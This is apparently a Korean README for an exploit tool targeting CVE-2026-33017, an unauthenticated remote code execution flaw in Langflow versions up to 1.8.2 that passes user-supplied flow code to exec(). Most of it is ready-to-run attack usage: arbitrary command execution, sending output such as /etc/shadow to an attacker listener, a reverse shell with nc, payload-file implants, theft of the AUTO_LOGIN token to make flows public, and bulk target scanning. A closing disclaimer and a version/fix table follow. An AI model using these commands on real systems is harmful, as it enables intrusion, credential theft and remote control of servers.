
# CVE-2026-33017 익스플로잇 — Langflow <= 1.8.2의 exec()를 통한 플로우 빌드 엔드포인트의 인증 없는 RCE
_____
/ \
| () () |
\ ^ /
|||||
인증 없이 exec(), 샌드박스 없음, 희망 없음.
Langflow <= 1.8.2는 POST /api/v1/build_public_tmp/{flow_id}/flow 엔드포인트를 통해 인증 없이 원격 코드 실행을 허용합니다. 공격자가 제공한 플로우 데이터에 포함된 노드 정의의 임의 Python 코드가 샌드박싱 없이 exec()에 직접 전달됩니다.
POST /api/v1/build_public_tmp/{flow_id}/flow
-> chat.py -> start_flow_build() -> build_graph_from_data()
-> Graph.from_payload() -> loading.py -> eval.py create_class()
-> validate.py prepare_global_scope() -> exec(compiled_code)
-> 서버 프로세스 권한으로 임의 코드 실행. 게임 끝.
git clone https://github.com/oscarmine/CVE-2026-33017.git
cd CVE-2026-33017
pip install requests
python3 exploit.py --url http://target:7860 --check
python3 exploit.py --url http://target:7860 --cmd "id"
# 터미널 1: 리스너 시작
python3 -m http.server 8080
# 터미널 2: 익스플로잇 실행
python3 exploit.py --url http://target:7860 --cmd "id" \
--callback-get http://your-ip:8080
# 리스너 로그에서 base64 디코딩:
echo "dWlkPTEwMDAo..." | base64 -d
# 터미널 1: 리스너 시작
nc -l 8080
# 터미널 2: 익스플로잇 실행
python3 exploit.py --url http://target:7860 --cmd "cat /etc/shadow" \
--callback-post http://your-ip:8080
# 원본 출력이 POST 본문에 그대로 전달됨 - 디코딩 불필요
# 터미널 1: 리스너 시작
nc -l 4444
# 터미널 2: 익스플로잇 실행
python3 exploit.py --url http://target:7860 --revshell your-ip 4444
python3 exploit.py --url http://target:7860 --payload-file implant.py
페이로드 파일 규칙:
prepare_global_scope() 내부의 exec()를 통해 모듈 레벨에서 실행됨Assign, FunctionDef, ClassDef 노드만 실행하므로 할당문을 사용해야 함 (예: _x = os.popen(...).read())threading.Thread(daemon=True)를 사용해야 함PUBLIC 플로우가 없지만 AUTO_LOGIN이 활성화된 경우 (많은 배포 환경에서 기본값):
python3 exploit.py --url http://target:7860 --auto-promote --cmd "id"
이 옵션은 AUTO_LOGIN 토큰을 탈취하여 첫 번째 플로우를 PUBLIC으로 PATCH한 후 익스플로잇을 수행합니다.
파일에서 여러 대상을 스캔 (취약점 확인 전용):
python3 exploit.py --scan-file targets.txt
python3 exploit.py --scan-file targets.txt --threads 20 --scan-output results.txt
targets.txt 형식:
http://10.10.10.5:7860
http://10.10.10.6:7860
192.168.1.100:7860
# 주석은 무시됨
출력 내용:
python3 exploit.py --url http://target:7860 --cmd "id" \
--proxy http://127.0.0.1:8080
/api/v1/version을 프로빙하여 대상 식별code 필드에 악성 Python이 포함된 CustomComponent 노드로 최소 플로우 그래프 구성data 매개변수로 /api/v1/build_public_tmp/{flow_id}/flow에 POST 요청. Langflow가 그래프를 컴파일하고 create_class() -> prepare_global_scope() -> exec()를 호출하여 공격자 코드 실행v1.9.0의 수정 사항은 data 매개변수를 완전히 제거하여 엔드포인트가 데이터베이스의 저장된 플로우 데이터만 사용하도록 강제합니다.
| 버전 | 상태 |
|---|---|
이 도구는 승인된 보안 연구 전용입니다. 명시적 테스트 허가를 받은 시스템에만 사용하십시오. 작성자는 오용에 대해 책임을 지지 않습니다.
| <= 1.8.1 |
| 취약 |
| 1.8.2 | 변경 로그에 수정되었다고 표시되었지만 코드는 변경되지 않음 (JFrog 확인) |
| 1.9.0-dev0 ~ dev11 | 여전히 취약 |
| 1.9.0 | 실제 수정됨 - 엔드포인트에서 data 매개변수 제거 |